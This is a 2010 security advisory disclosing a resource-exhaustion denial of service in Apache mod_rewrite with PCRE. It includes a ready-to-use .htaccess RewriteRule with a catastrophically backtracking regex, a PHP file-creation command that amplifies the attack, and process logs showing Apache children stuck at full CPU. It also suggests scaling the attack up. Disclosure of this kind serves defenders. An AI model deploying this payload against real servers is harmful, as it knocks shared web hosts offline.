[ Apache Insecure mod_rewrite PCRE Resource Exhaustion ]
Author: Maksymilian Arciemowicz
http://cxib.net/
Date:
- - Dis.: 19.09.2010
- - Pub.: 21.12.2010
Affected (tested):
- - NetBSD 5.0.2 (Apache 2.2.17 PHP 5.3.4)
- - Ubuntu 10.10 (Apache 2.2.16 PHP 5.3.3)
- --- 0.Description ---
The Apache HTTP Server, commonly referred to as Apache, is web server software notable for playing a key role in the initial growth of the World Wide Web. In 2009 it became the first web server software to surpass the 100 million web site milestone
The PCRE(Perl Compatible Regular Expressions) library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE has its own native API, as well as a set of wrapper functions that correspond to the POSIX regular expression API. The PCRE library is free, even for building proprietary software.
- --- 1. Apache Insecure mod_rewrite PCRE Resource Exhaustion ---
Using mod_rewrite and PCRE libs can be dangerous for stability apache server. Everybody know that using pcre regular expressions generate possible risk of DoS attack , and using multiple regular expressions in .htaccess is no good idea.
I will show possibility DoS attack using .htaccess. Off course we can try configure our machine to be safe, anyway many servers are affected for this.
Many versions of regular expressions, has no control over what executes. Example tags:
let's see what will happen in firefox for this expression:
.*.*.*(\w+)$1
Nothing special.
Try this:
.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(\w+)$1
result in Firefox javascirpt:
"Warning: Unresponsive script"
Long execution in pcre generate "Unresponsive script". That same algorithm we can use in .htaccess
$ httpd -v && php -v
Server version: Apache/2.2.17 (Unix)
Server built: Nov 11 2010 19:51:37
PHP 5.3.4 (cli) (built: Nov 11 2010 17:17:35)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
$ pwd && ls -la
/home/cx/public_html
total 4
drwxrwxrwx 2 cx cx 512 Dec 19 01:10 .
drwxr-xr-x 12 cx wheel 1024 Dec 19 01:10 ..
$ vi poc.php
$ ls -la .
total 8
drwxrwxrwx 2 cx cx 512 Dec 19 01:16 .
drwxr-xr-x 12 cx wheel 1024 Dec 19 01:10 ..
- -rw-r--r-- 1 cx cx 2665 Dec 19 01:18 poc.php
and remote request to poc.php
cx@cx64:~$ curl http://172.16.124.128/~cx/poc.php
on the server, any apache childs will stop in .htaccess (mod_rewrite => PCRE)
# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
www 503 13.8 2.4 35620 27420 ? R 1:19AM 0:04.94 /usr/pkg/sbin/httpd -k start
www 414 9.6 2.3 33572 25400 ? R 1:20AM 0:03.24 /usr/pkg/sbin/httpd -k start
www 474 7.9 2.2 32548 24544 ? R 1:19AM 0:02.17 /usr/pkg/sbin/httpd -k start
www 345 6.5 2.1 31524 23888 ? R 1:19AM 0:01.79 /usr/pkg/sbin/httpd -k start
www 482 7.0 1.9 29476 21536 ? R 1:22AM 0:00.94 /usr/pkg/sbin/httpd -k start
www 495 4.6 2.0 30500 22944 ? R 1:19AM 0:01.24 /usr/pkg/sbin/httpd -k start
www 844 3.2 0.5 11980 5280 ? S 1:22AM 0:00.94 /usr/pkg/libexec/cgi-bin/php
www 289 2.2 1.0 19236 10888 ? R 1:22AM 0:00.23 /usr/pkg/sbin/httpd -k start
www 859 3.2 1.5 25380 17220 ? R 1:22AM 0:00.44 /usr/pkg/sbin/httpd -k start
www 337 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 502 0.0 0.3 11988 3252 ? S 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 543 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 554 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 754 0.0 0.4 12068 3940 ? S 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 955 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 979 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start
# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
www 389 4.0 1.9 29476 21360 ? R 1:22AM 0:00.80 /usr/pkg/sbin/httpd -k start
www 455 4.3 1.8 28452 20080 ? R 1:22AM 0:00.55 /usr/pkg/sbin/httpd -k start
www 712 4.9 1.8 27428 19688 ? R 1:22AM 0:00.51 /usr/pkg/sbin/httpd -k start
www 516 3.8 2.1 31524 23632 ? R 1:22AM 0:02.05 /usr/pkg/sbin/httpd -k start
...
www 1011 2.3 2.0 30500 21980 ? R 1:22AM 0:01.16 /usr/pkg/sbin/httpd -k start
www 398 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 400 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 502 0.0 0.3 11988 3252 ? I 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 653 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 754 0.0 0.4 12068 3940 ? I 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 844 0.0 0.5 11980 5280 ? S 1:22AM 0:00.95 /usr/pkg/libexec/cgi-bin/php
www 908 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 1043 0.0 0.3 12068 3160 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start
If we set
Timeout 3
MaxKeepAliveRequests 5
KeepAliveTimeout 5
MaxClients 7
# ps -aux -Uwww
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
www 322 15.7 3.1 42788 34296 ? R 2:10AM 5:43.96 /usr/pkg/sbin/httpd -k start
www 565 15.8 3.1 42788 34296 ? R 2:10AM 5:43.24 /usr/pkg/sbin/httpd -k start
www 504 14.6 3.1 42788 34296 ? R 2:10AM 5:51.36 /usr/pkg/sbin/httpd -k start
www 598 14.7 3.1 42788 34296 ? R 2:10AM 5:38.71 /usr/pkg/sbin/httpd -k start
www 690 14.6 3.1 42788 34296 ? R 2:10AM 5:43.85 /usr/pkg/sbin/httpd -k start
www 694 15.1 3.1 42788 34296 ? R 2:10AM 5:43.57 /usr/pkg/sbin/httpd -k start
www 603 0.0 0.3 11988 3228 ? I 2:10AM 0:00.01 /usr/pkg/sbin/httpd -k start
www 623 0.0 0.5 11980 5304 ? S 2:10AM 0:00.29 /usr/pkg/libexec/cgi-bin/php
www 631 0.0 0.3 12068 3880 ? I 2:10AM 0:00.01 /usr/pkg/sbin/httpd -k start
# telnet 172.16.124.128 80
Trying 172.16.124.128...
telnet: Unable to connect to remote host: Connection timed out
Extending this error, we may block the work of apache daemon with mod_rewrite.
- -.htaccess---
RewriteEngine On
RewriteRule ((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)) /$1
- -.htaccess---
cx@cx64:/www/czarnadupa$ ls -la
total 12
drwxr-xr-x 2 cx cx 4096 2010-10-25 00:06 .
drwxr-xr-x 6 cx root 4096 2010-10-25 00:04 ..
- -rw-r--r-- 1 cx cx 1252 2010-10-25 00:06 .htaccess
cx@cx64:/www/czarnadupa$ cat .htaccess
RewriteEngine On
RewriteRule ((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)) /$1
from another console, let's try connect via curl
cx@cx64:~$ curl http://127.0.0.1/czarnadupa/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /czarnadupa</title>
..
we get result after 3.35sec delay. If we use multiple time RewriteRule, we can lengthen to 6,9,12,.. sec.
Let's back to first terminal and create 1000 files
cx@cx64:/www/czarnadupa$ php -r 'for($a=0;$a<1000;$a++){$f=fopen("test".$a,"a");fclose($f);}'
cx@cx64:/www/czarnadupa$ ls
test0 test210 test323 test436 test549 test661 test774 test887
test1 test211 test324 test437 test55 test662 test775 test888
test10 test212 test325 test438 test550 test663 test776 test889
...
and now try to connect via curl. For One RewriteRule in .htaccess, it will be more as 3 min.
www-data 11177 31.2 0.2 177888 6520 ? R 00:06 3:25 /usr/sbin/apache2 -k start
3.25min and CPU 100%
and in end with 7min delay! If we use two times RewriteRule in .htaccess, that will be ~14min
www-data 11180 45.8 0.2 177888 6520 ? R 00:06 14:01 /usr/sbin/apache2 -k start
www-data 11180 45.8 0.2 177888 6804 ? S 00:06 14:03 /usr/sbin/apache2 -k start
exacly 14:01 min.
Now is comming question "What will happen, when we create .htaccess with many RewriteRule?"
The answer is simple and you can calculate it yourself. But if we will more that 7min for one RewriteRule, we need create more files in attacked directory or modify regular expression.
for 2 files, it was 3 sec, for 1002 files, it was 7min.
If we increased complexity of RewriteRule value, apache child will execute in a longer time.
The main problem is that the any processes is working 100% CPU usage. So what will happen when we disconnect and connect again?
Now think what happens when we create the 2,000 files and a thousand RewriteRule Rules. Then create loop what connect<->disconnect with apache.
Now let's see to docs from apache22
http://httpd.apache.org/docs/current/mod/core.html#rlimitmem
- ---
This applies to processes forked off from Apache children servicing requests, not the Apache children themselves. This includes CGI scripts and SSI exec commands, but not any processes forked off from the Apache parent such as piped logs.
- ---
So rlimitmem don't protect us before memory exhaustion. Only variables from lgoin.conf or pam, protect our apache server before reaching memory or processes limits. But if one apache child can contain example ~256MB memory, we can use SetEnv in .htaccess to allocate data into memory.
Logs:
4613 www-data 20 0 298m 130m 944 R 64 4.3 0:03.20 apache2
4614 www-data 20 0 295m 127m 944 R 42 4.2 0:02.11 apache2
4615 www-data 20 0 280m 113m 944 R 25 3.7 0:01.24 apache2
or when httpd will reach MaxClient
www-data 1620 9.2 4.8 563252 148340 ? R 12:26 5:08 /usr/sbin/apache2 -k start
www-data 1621 9.4 4.7 564064 145976 ? R 12:26 5:13 /usr/sbin/apache2 -k start
www-data 1622 9.2 4.6 563252 144484 ? R 12:26 5:07 /usr/sbin/apache2 -k start
www-data 1623 9.2 4.7 563524 147264 ? R 12:26 5:09 /usr/sbin/apache2 -k start
www-data 2361 9.6 4.5 563524 139140 ? R 12:28 5:11 /usr/sbin/apache2 -k start
www-data 2362 9.6 4.4 563388 137856 ? R 12:28 5:10 /usr/sbin/apache2 -k start
www-data 2363 9.5 4.4 562980 136792 ? R 12:28 5:07 /usr/sbin/apache2 -k start
www-data 2365 9.5 4.1 562980 129048 ? R 12:28 5:06 /usr/sbin/apache2 -k start
www-data 2366 9.5 3.8 562844 120308 ? R 12:28 5:06 /usr/sbin/apache2 -k start
www-data 2367 9.5 3.8 562980 119300 ? R 12:28 5:07 /usr/sbin/apache2 -k start
www-data 2368 9.6 3.7 563116 117176 ? R 12:28 5:09 /usr/sbin/apache2 -k start
www-data 2369 9.6 3.7 563116 114492 ? R 12:28 5:09 /usr/sbin/apache2 -k start
www-data 2370 9.5 3.4 562708 107224 ? R 12:28 5:05 /usr/sbin/apache2 -k start
www-data 2372 9.5 3.7 562708 116324 ? R 12:28 5:06 /usr/sbin/apache2 -k start
www-data 2373 9.5 4.0 562844 125068 ? R 12:28 5:06 /usr/sbin/apache2 -k start
www-data 2374 9.6 3.5 563116 110868 ? R 12:28 5:09 /usr/sbin/apache2 -k start
www-data 2375 9.6 4.1 562980 128492 ? R 12:28 5:08 /usr/sbin/apache2 -k start
www-data 2377 9.6 4.4 562980 135968 ? R 12:28 5:08 /usr/sbin/apache2 -k start
www-data 2378 9.6 4.7 562980 145420 ? D 12:28 5:08 /usr/sbin/apache2 -k start
...
any apache children will generate 100% CPU usage.
For example one apache child with 193 min running time.
3127 94.4 9.3 645716 289020 ? R 13:23 193:50 /usr/sbin/apache2 -k start
- --- 2. Exploit ---
Remove .htaccess before running this script from www or simple use command line
PoC used in description.
http://cxib.net/stuff/rewrite.pcre.txt
- --- 3. Greets ---
sp3x, Infospec
- --- 4. Contact ---
Author: Maksymilian Arciemowicz